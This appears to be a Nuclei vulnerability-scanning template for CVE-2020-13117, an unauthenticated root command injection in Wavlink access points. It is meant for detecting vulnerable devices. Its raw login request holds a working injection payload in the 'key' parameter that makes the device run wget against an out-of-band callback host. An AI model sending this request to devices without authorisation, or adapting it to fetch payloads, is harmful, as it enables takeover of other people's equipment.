2021-07-23 02:14:31 +00:00
id : CVE-2020-13117
info :
name : Wavlink Multiple AP - Unauthenticated RCE
author : gy741
severity : critical
description : Several Wavlink products are affected by a vulnerability that may allow remote unauthenticated users to execute arbitrary commands as root on Wavlink devices. The user input is not properly sanitized which allows command injection via the "key" parameter in a login request. It has been tested on Wavlink WN575A4 and WN579X3 devices, but other products may be affected.
reference :
- https://blog.0xlabs.com/2021/02/wavlink-rce-CVE-2020-13117.html
2021-07-24 06:09:47 +00:00
tags : cve,cve2020,wavlink,rce,oob
2021-07-23 02:14:31 +00:00
requests :
- raw :
- |
POST /cgi-bin/login.cgi HTTP/1.1
Host : {{Hostname}}
Cache-Control : max-age=0
Upgrade-Insecure-Requests : 1
Origin : http://{{Hostname}}
Content-Type : application/x-www-form-urlencoded
User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding : gzip, deflate
Connection : close
newUI=1&page=login&username=admin&langChange=0&ipaddr=192.168.1.66&login_page=login.shtml&homepage=main.shtml&sysinitpage=sysinit.shtml&hostname=wifi.wavlink.com&key=%27%3B%60wget+http%3A%2F%2F{{interactsh-url}}%3B%60%3B%23&password=asd&lang_select=en
matchers :
- type : word
part : interactsh_protocol # Confirms the HTTP Interaction
words :
- "http"
